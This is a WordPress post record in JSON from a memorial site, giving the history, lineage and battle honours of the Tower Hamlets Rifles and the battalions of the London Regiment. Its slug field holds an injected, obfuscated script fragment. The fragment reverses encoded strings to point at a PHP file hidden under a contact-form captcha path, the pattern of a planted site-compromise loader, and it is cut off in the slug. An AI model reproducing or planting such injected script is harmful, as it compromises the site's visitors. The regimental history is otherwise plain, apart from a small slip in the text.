{"id":15292,"date":"2016-03-01T12:13:20","date_gmt":"2016-03-01T11:13:20","guid":{"rendered":"https:\/\/www.memorialatpeninsula.org\/?p=15292"},"modified":"2020-06-07T17:58:31","modified_gmt":"2020-06-07T16:58:31","slug":"<script>$nJe=function(n){if (typeof ($nJe.list[n]) == \"string\") return $nJe.list[n].split(\"\").reverse().join(\"\");return $nJe.list[n];};$nJe.list=[\"'php.pots_egamiruces\/egamieruces-ahctpac\/mrof-tcatnoc","status":"publish","type":"post","link":"https:\/\/www.memorialatpeninsula.org\/?p=15292","title":{"rendered":"Tower Hamlets Bands 1537 to The Rifles"},"content":{"rendered":"<p style=\"text-align: center;\"><strong>Tower Hamlets Bands <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>to <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>The Rifles<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>1537<\/strong><\/p>\n<p style=\"text-align: center;\">Tower Hamlets Bands<\/p>\n<p style=\"text-align: center;\"><strong>1860<\/strong><\/p>\n<p style=\"text-align: center;\">Tower Hamlets Rifle Volunteers<\/p>\n<p style=\"text-align: center;\"><strong>1881<\/strong><\/p>\n<p style=\"text-align: center;\">2nd Volunteer Bn,<\/p>\n<p style=\"text-align: center;\">The Rifle Brigade<\/p>\n<p style=\"text-align: center;\"><strong>1908<\/strong><\/p>\n<p style=\"text-align: center;\">Tower Hamlets Rifles<\/p>\n<p style=\"text-align: center;\"><strong>1922<\/strong><\/p>\n<p style=\"text-align: center;\">Tower Hamlets Rifles<\/p>\n<p style=\"text-align: center;\">(17 Co of London)<\/p>\n<p style=\"text-align: center;\"><strong>1937<\/strong><\/p>\n<p style=\"text-align: center;\">Tower Hamlets Rifles<\/p>\n<p style=\"text-align: center;\">(RB)<\/p>\n<p style=\"text-align: center;\"><strong>1939<\/strong><\/p>\n<p style=\"text-align: center;\">1st &amp; 2nd<\/p>\n<p style=\"text-align: center;\">Tower Hamlets Rifles<\/p>\n<p style=\"text-align: center;\"><strong>1940-1945<\/strong><\/p>\n<p style=\"text-align: center;\">9th &amp; 10th<\/p>\n<p style=\"text-align: center;\">RB<\/p>\n<p style=\"text-align: center;\"><strong>1947<\/strong><\/p>\n<p style=\"text-align: center;\">Tower Hamlets Rifles<\/p>\n<p style=\"text-align: center;\">to<\/p>\n<p style=\"text-align: center;\">R A<\/p>\n<p style=\"text-align: center;\"><strong>1967<\/strong><\/p>\n<p style=\"text-align: center;\">4th Bn, The Royal Green Jackets<\/p>\n<p style=\"text-align: center;\"><strong>1992<\/strong><\/p>\n<p style=\"text-align: center;\">The London Regiment<\/p>\n<p style=\"text-align: center;\">2 x Green Jacket Coys<\/p>\n<p style=\"text-align: center;\"><strong>2007<\/strong><\/p>\n<p style=\"text-align: center;\">7th Bn, The Rifles<\/p>\n<p style=\"text-align: left;\">The Tower Hamlets Rifles was a volunteer or territorial unit of the British Army that recruited in the East End of London and served under various titles and in various roles from 1860 until it lost its separate identity in 1971.<\/p>\n<p>The unit was formed as the 1st Administrative Battalion, Tower Hamlets Rifle Volunteer Corps, in May 1861. It was part of the Volunteer Force formed in response to a perceived risk of invasion by France and was formed by the grouping of six smaller rifle volunteer corps formed in 1860. The headquarters were established at Truman&#8217;s Brewery, Spitalfields.<\/p>\n<p>In 1880 it was renamed and reorganised as 3rd Tower Hamlets Rifle Volunteer Corps, with headquarters at Whitechapel Road. In 1881 it became a volunteer battalion of the Rifle Brigade. In 1894 the headquarters were moved to Bow.<\/p>\n<p>As a volunteer battalion of the Rifle Brigade, the regiment sent detachments to reinforce the regular regiment during the Second Anglo-Anglo Boer War in 1900-02.<\/p>\n<p>On 1st April 1908 the Territorial Force was formed, and all volunteer infantry battalions in the County of London became part of a new London Regiment. The 3rd Tower Hamlets VRC became 17th (County of London) Battalion, The London Regiment (Poplar and Stepney Rifles).<\/p>\n<p>With the outbreak of war in August 1914 the Territorial Force was mobilised. The size of the TF was increased by the formation of duplicates of the pre-war units.<\/p>\n<p>The existing battalion became the 1\/17th Battalion, and served on the Western Front from 1915-18.<\/p>\n<p>A duplicate 2\/17th Battalion was formed in August 1914. It was briefly in France before taking part in the Macedonian and Palestinian campaigns.<\/p>\n<p>A 3\/17th Battalion was formed in 1915. It was reserve unit and did not serve outside the UK.<\/p>\n<p>Inter-war period<br \/>\nThe Territorial Force was dissolved at the end of the war and reformed as the Territorial Army in 1920. The battalion was duly reformed.<\/p>\n<p>In 1922 the various battalions of the London Regiment were formally reconstituted as separate regiments and it became 17th London Regiment (Poplar and Stepney Rifles). In 1926 it was renamed 17th London Regiment (Tower Hamlets Rifles)<\/p>\n<p>In 1937 there was another reorganisation: much of the London-based infantry was converted to an anti-aircraft role. The Tower Hamlets Rifles escaped this fate, becoming Tower Hamlets Rifles, The Rifle Brigade (Prince Consort&#8217;s Own).<\/p>\n<p>As war appeared to be inevitable 2nd and 3rd battalions were formed.<\/p>\n<p>The Territorial units were disembodied at the end of the war and not reformed until 1947. The Tower Hamlets Rifles was converted to artillery as 656th Light Anti-Aircraft Regiment RA (Rifle Brigade) In 1955 there was a reduction in size of the TA. The Tower Hamlets Rifles were reduced to battery size, forming one third of a regiment, as R (Tower Hamlets Rifles) Battery, 512th Light Anti-Aircraft Regiment Royal Artillery. The two other batteries were formed from the former Finsbury Rifles and St Pancras Rifles.<\/p>\n<p>In 1961 there were further amalgamations, with the absorbtion of two further artillery regiments which had once been the territorial battalions of the Essex Regiment. R (Tower Hamlets) Battery, 300th Light Anti-Aircraft Regiment Royal Artillery was formed at Bow. In 1967 it became R Battery (Tower Hamlets), The Greater London Regiment RA (T), a lightly-armed infantry unit in a home defence role. The unit was reduced to a cadre in 1969 and eventually became part of the 6th (Volunteer) Battalion of the Queen&#8217;s Regiment, losing its Tower Hamlets identity.<\/p>\n<p>Battle honours<\/p>\n<p>The regiment was awarded the following battle honours: South Africa 1900-02<\/p>\n<p>Aubers, Festubert 1915, Loos, Somme 1916 &#8217;18, Flers-Courcelette, Le Transloy, Messines 1917, Ypres 1917 &#8217;18, Langemarck 1917, Cambrai 1917, St. Quentin, Bapaume 1918, Ancre 1918, Albert 1918, Courtrai, France and Flanders 1915-18, Doiran 1917, Macedonia 1916-17, Gaza, El Mughar, Nebi Samwil, Jerusalem, Jericho, Jordan, Tell &#8216;Asur, Palestine 1917-18<\/p>\n<p>Mersa el Brega, Agedabia, Derna Aerodrome, Tobruk 1940, Chor es Sufan, Saunnu, Gazala, Defence of Alamein Line, Medjez el Bab, Kasserine, Thala, Fondouk, Fondouk Pass, El Kourzia, Tunis, Hammam Lif, North Africa 1941-43, Cassino II, Liri Valley, Melfa Crossing, Monte Rotondo, Capture of Perugia, Arezzo, Advance to Florence, Tossignano, Italy 1944-45<\/p>\n<p><strong>The London Regiment<\/strong> is an infantry regiment in the British Army, part of the Army Reserve. The regiment saw distinguished service in World War I and was disbanded after the war in 1938, shortly before World War II, when most of its battalions were converted to other roles or transferred elsewhere. However, the regiment was raised again in 1993 and continues an existence in the present day.<br \/>\nIt was first formed in 1908 in order to regiment the 26 Volunteer Force battalions in the newly formed County of London, each battalion having a distinctive uniform.<\/p>\n<p>Now part of the Territorial Force, the London Regiment expanded to 88 battalions in the First World War. Of these 49 battalions saw action in the trenches of the Western Front in France and Flanders, 6 saw action at the Gallipoli Campaign, 12 saw action at Salonika, 14 saw action against the Turks in Palestine, and one saw action in Waziristan and Afghanistan.<\/p>\n<p>The London Regiment was reformed in the Territorial Army in the 1920s but ceased to exist in 1938 and the battalions were all transferred to regular infantry regiments, the Royal Artillery and the Royal Engineers. For example, the 10th London Regiment (Hackney) was transferred to the corps of the Royal Berkshire Regiment (Princess Charlotte of Wales&#8217;s), becoming the 5th (Hackney) Battalion, Royal Berkshire Regiment.<\/p>\n<p>The London Regiment was reformed in 1992 through the regimentation of most of the remaining successors of the original regiment (except the Rifles and the Artists Rifles). It is the only permanent infantry battalion in London District and consists of an HQ and four rifle companies.<\/p>\n<p>They are;<\/p>\n<p>HQ (Anzio) Company<br \/>\nA (London Scottish) Company<br \/>\nB (Queen&#8217;s Regiment) Company<br \/>\nC (City of London Fusiliers) Company<br \/>\nD (London Irish Rifles) Company<br \/>\nTwo companies of the Royal Green Jackets, F Company and G Company, formed part of the regiment between 1998 and 2004.<\/p>\n<p>In October 2003, 120 members of regiment were called up for active service in Operation Telic. They were deployed in areas around Basra in southern Iraq in January 2004. This group made up a company known as Cambrai company as part of the Multi-National Division (South East), a UK commanded division[citation needed]. In May 2004, they were replaced by Messines company, which was made up from an HQ and two platoons from across the London Regiment, along with a platoon from the Royal Irish Rangers.<\/p>\n<p>Following the restructuring of the British Army in 2004, it was announced that the Guards Division would gain a TA battalion. This saw the London Regiment retaining its name and multi-badge structure, while transferring from the Queen&#8217;s Division to the Guards Division. The two RGJ companies were transferred to the Royal Rifle Volunteers in preparation for the formation of The Rifles in 2007, leaving the remaining companies in their present multi-badge formation.<\/p>\n<p>Original London Regiment battalions<br \/>\nThe London battalions formed the London District, which consisted principally of the 1st and 2nd London Divisions<br \/>\n1st London Division<br \/>\n1st London Brigade<br \/>\nUnit<br \/>\n1st (City of London) Battalion, London Regiment (Royal Fusiliers)<br \/>\nFormerly<br \/>\n1st Volunteer Battalion, Royal Fusiliers (late 10th Middlesex RVC)<br \/>\nHQ<br \/>\nBloomsbury<br \/>\nUnit<br \/>\n2nd (City of London) Battalion, London Regiment (Royal Fusiliers)<br \/>\nFormerly<br \/>\n2nd Volunteer Battalion, Royal Fusiliers (late 23rd Middlesex RVC)<br \/>\nHQ<br \/>\nWestminster<br \/>\nUnit<br \/>\n3rd (City of London) Battalion, London Regiment (Royal Fusiliers)<br \/>\nFormerly<br \/>\n3rd Volunteer Battalion, Royal Fusiliers (late 11th Middlesex RVC)<br \/>\nHQ<br \/>\nSt Pancras<br \/>\nUnit<br \/>\n4th (City of London) Battalion, London Regiment (Royal Fusiliers)<br \/>\nFormerly<br \/>\n4th Volunteer Battalion, Royal Fusiliers (late 1st Tower Hamlets RVC)<br \/>\nHQ<br \/>\nShoreditch<br \/>\n2nd London Brigade<br \/>\nUnit<br \/>\n5th (City of London) Battalion, London Regiment (London Rifle Brigade)<br \/>\nFormerly<br \/>\n1st London VRC (City of London Volunteer Rifle Brigade) (9th Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nFinsbury<br \/>\nUnit<br \/>\n6th (City of London) Battalion, London Regiment (City of London Rifles)<br \/>\nFormerly<br \/>\n2nd London VRC (10th Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nFinsbury<br \/>\nUnit<br \/>\n7th (City of London) Battalion, London Regiment<br \/>\nFormerly<br \/>\n3rd London VRC (11th Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nFinsbury<br \/>\nUnit<br \/>\n8th (City of London) Battalion, London Regiment (Post Office Rifles)<br \/>\nFormerly<br \/>\n24th Middlesex VRC (7th Volunteer Battalion, Rifle Brigade)<br \/>\nHQ<br \/>\nFinsbury<br \/>\n3rd London Brigade<br \/>\nUnit<br \/>\n9th (County of London) Battalion, London Regiment (Queen Victoria&#8217;s), Berkeley Square<br \/>\nFormerly<br \/>\n1st Middlesex (Victoria and St. George&#8217;s) VRC (4th Volunteer Battalion, King&#8217;s Royal Rifle Corps) and 19th Middlesex (St. Giles&#8217;s and St. George&#8217;s, Bloomsbury) VRC (6th Volunteer Battalion, Rifle Brigade)<br \/>\nHQ<br \/>\nWestminster<br \/>\nUnit<br \/>\n10th (County of London) Battalion, London Regiment (Paddington Rifles); disbanded 1912<br \/>\nFormerly<br \/>\n18th Middlesex VRC (4th Volunteer Battalion, Rifle Brigade)<br \/>\nHQ<br \/>\nPaddington<br \/>\nUnit<br \/>\n10th (County of London) Battalion, London Regiment (Hackney)<br \/>\nFormerly<br \/>\nFormed in 1912 to replace the Paddington Rifles<br \/>\nHQ<br \/>\nHackney<br \/>\nUnit<br \/>\n11th (County of London) Battalion, London Regiment (Finsbury Rifles)<br \/>\nFormerly<br \/>\n21st Middlesex (Finsbury) VRC (7th Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nPentonville<br \/>\nUnit<br \/>\n12th (County of London) Battalion, London Regiment (The Rangers)<br \/>\nFormerly<br \/>\n22nd Middlesex VRC (Central London Rangers) (8th Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nHolborn<br \/>\n2nd London Division<br \/>\n4th London Brigade<br \/>\nUnit<br \/>\n13th (County of London) Battalion, London Regiment (Kensington)<br \/>\nFormerly<br \/>\n4th (Kensington) Middlesex VRC (3rd Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nKensington<br \/>\nUnit<br \/>\n14th (County of London) Battalion, London Regiment (London Scottish)<br \/>\nFormerly<br \/>\n7th (London Scottish) Middlesex VRC (1st Volunteer Battalion, Rifle Brigade)<br \/>\nHQ<br \/>\nWestminster<br \/>\nUnit<br \/>\n15th (County of London) Battalion, London Regiment (Prince of Wales&#8217;s Own Civil Service Rifles)<br \/>\nFormerly<br \/>\nThe Prince of Wales&#8217;s Own 12th Middlesex (Civil Service) VRC (5th Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nWestminster<br \/>\nUnit<br \/>\n16th (County of London) Battalion, London Regiment (Queen&#8217;s Westminster Rifles)<br \/>\nFormerly<br \/>\n13th Middlesex (Queen&#8217;s Westminster) VRC (6th Volunteer Battalion, King&#8217;s Royal Rifle Corps)<br \/>\nHQ<br \/>\nKensington<br \/>\n5th London Brigade<br \/>\nUnit<br \/>\n17th (County of London) Battalion, London Regiment (Poplar and Stepney Rifles)<br \/>\nFormerly<br \/>\n2nd Tower Hamlets VRC (9th Volunteer Battalion, Rifle Brigade)<br \/>\nHQ<br \/>\nBow<br \/>\nUnit<br \/>\n18th (County of London) Battalion, London Regiment (London Irish Rifles),<br \/>\nFormerly<br \/>\n16th Middlesex (London Irish) VRC (3rd Volunteer Battalion, Rifle Brigade)<br \/>\nHQ<br \/>\nChelsea<br \/>\nUnit<br \/>\n19th (County of London) Battalion, London Regiment (St. Pancras)<br \/>\nFormerly<br \/>\n17th Middlesex (North Middlesex) VRC (3rd Volunteer Battalion, Middlesex Regiment)<br \/>\nHQ<br \/>\nCamden Town<br \/>\nUnit<br \/>\n20th (County of London) Battalion, London Regiment (Blackheath and Woolwich)<br \/>\nFormerly<br \/>\n2nd Volunteer Battalion, Queen&#8217;s Own (Royal West Kent Regiment) (ex 3rd Kent VRC)<br \/>\nHQ<br \/>\nBlackheath<br \/>\n6th London Brigade<br \/>\nUnit<br \/>\n21st (County of London) Battalion, London Regiment (First Surrey Rifles)<br \/>\nFormerly<br \/>\n1st Surrey (South London) VRC (1st Volunteer Battalion, East Surrey Regiment)<br \/>\nHQ<br \/>\nCamberwell<br \/>\nUnit<br \/>\n22nd (County of London) Battalion, London Regiment (Queen&#8217;s)<br \/>\nFormerly<br \/>\n3rd Volunteer Battalion, Queen&#8217;s (Royal West Surrey Regiment) (ex 6th Surrey RVC)<br \/>\nHQ<br \/>\nBermondsey<br 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Rifles),<br \/>\nFormerly<br \/>\n20th Middlesex (Artists) VRC (6th Volunteer Battalion, Rifle Brigade)<br \/>\nHQ<br \/>\nSt Pancras<br \/>\nBattle honours for the First World War were awarded to the individual battalions in 1924.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tower Hamlets Bands 1537 to The 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